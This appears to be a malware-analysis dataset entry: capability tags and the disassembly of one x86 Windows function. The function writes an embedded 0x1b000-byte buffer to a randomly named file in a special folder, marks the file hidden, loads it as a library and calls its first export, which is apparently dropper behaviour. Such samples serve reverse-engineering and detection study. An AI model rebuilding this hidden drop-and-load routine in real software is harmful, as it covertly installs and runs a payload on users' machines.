Function at 0x4017a0
Capabilities:
Get common file path
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x423401
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x538
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call fcn.00403b84
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x340]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 0x33c]
push 0x104
push eax
push ebx
call esi
lea ecx, [esp + 0x33c]
push str.r210
push ecx
call fcn.0040ab06
add esp, 8
lea edx, [esp + 0x440]
push 0x104
push edx
push ebx
call esi
lea eax, [esp + 0x440]
lea ecx, [esp + 0x10]
push eax
call fcn.00418330
push 0x2e
lea ecx, [esp + 0x14]
mov dword [esp + 0x550], ebx
call fcn.00417836
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
mov ecx, dword [ecx - 8]
sub ecx, eax
inc ecx
push ecx
push edx
lea ecx, [esp + 0x18]
call fcn.00417742
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x550], 1
call fcn.004183fb
lea ecx, [esp + 0x14]
mov byte [esp + 0x54c], bl
call fcn.004182c2
push 0x2e
lea ecx, [esp + 0x14]
call fcn.00417836
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
mov ecx, dword [ecx - 8]
sub ecx, eax
sub ecx, 3
push ecx
push edx
lea ecx, [esp + 0x18]
call fcn.004177be
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x550], 2
call fcn.004183fb
lea ecx, [esp + 0x14]
mov byte [esp + 0x54c], bl
call fcn.004182c2
mov edi, dword [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x134]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x134]
mov byte [esp + 0x1e], 0x30
push ecx
mov byte [esp + 0x23], bl
mov byte [esp + 0x20], 0x29
mov byte [esp + 0x21], bl
call fcn.0040aaca
add esp, 4
cmp eax, 1
jge 0x401939
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea edx, [esp + 0x1e]
lea eax, [esp + 0x134]
push edx
push eax
call esi
test eax, eax
je 0x401939
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x134]
push ecx
push edx
call esi
test eax, eax
jne 0x401b75
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x239]
mov byte [esp + 0x238], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebp
push ebx
stosb byte es:[edi], al
lea eax, [esp + 0x240]
push 0x1a
push eax
push ebx
mov byte [0x42f20e], 0xd2
mov byte [0x47b00d], 0xbf
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, 0x496098
or ecx, 0xffffffff
xor eax, eax
mov byte [0x47b00c], 0xcf
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x496094
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [0x47b00e], 0xd2
mov byte [0x47b00f], 0x30
mov byte [0x47b010], 0x45
lea eax, [edx + ecx + 1]
push eax
call fcn.0041859a
mov ebp, eax
mov edi, 0x496094
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.EEB0F
mov edx, ecx
mov esi, edi
mov edi, ebp
push 0x1b000
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x47b00c
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x496098
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00401510
mov al, 0x25
mov dl, 0x73
add esp, 0x10
mov byte [esp + 0x1e], 0x36
mov byte [esp + 0x1f], bl
mov byte [0x42f20f], 0x30
mov byte [esp + 0x12], 0x34
mov byte [esp + 0x13], bl
mov byte [esp + 0x24], al
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], al
mov byte [esp + 0x29], al
mov byte [esp + 0x2b], al
mov byte [esp + 0x2d], al
mov byte [esp + 0x2f], al
lea eax, [esp + 0x12]
mov cl, 0x63
push ebp
push eax
mov byte [esp + 0x2e], 0x5c
mov byte [esp + 0x30], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x34], cl
mov byte [esp + 0x36], cl
mov byte [esp + 0x38], dl
mov byte [esp + 0x39], bl
call fcn.0040aaca
push eax
push 0x1a
call fcn.00401590
add esp, 0xc
add eax, 0x41
lea ecx, [esp + 0x16]
push eax
push ecx
call fcn.0040aaca
push eax
push 0x1a
call fcn.00401590
add esp, 0xc
add eax, 0x61
lea edx, [esp + 0x1a]
push eax
push edx
call fcn.0040aaca
push eax
push 0x1a
call fcn.00401590
add esp, 0xc
add eax, 0x61
push eax
lea eax, [esp + 0x22]
push eax
call fcn.0040aaca
push eax
push 0x1a
call fcn.00401590
add esp, 0xc
add eax, 0x61
lea ecx, [esp + 0x24c]
lea edx, [esp + 0x34]
push eax
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x1b000
lea ecx, [esp + 0x58]
push 0x47b00c
push ecx
call fcn.00401610
add esp, 0x2c
lea edx, [esp + 0x34]
push 2
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push 1
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov byte [0x42f20d], 0x1f
mov byte [esp + 0x18], 0x5f
mov byte [esp + 0x19], 0x32
mov byte [esp + 0x1a], bl
pop ebp
cmp esi, ebx
je 0x401b75
cmp edi, ebx
je 0x401b6e
lea ecx, [esp + 0x1a]
push str.EEB0F
push ecx
call fcn.0040aaca
add esp, 4
lea edx, [esp + 0x18]
push eax
push 0x4be00
push 0x42f20c
push edx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x10]
mov dword [esp + 0x54c], 0xffffffff
call fcn.004182c2
mov ecx, dword [esp + 0x544]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x544
ret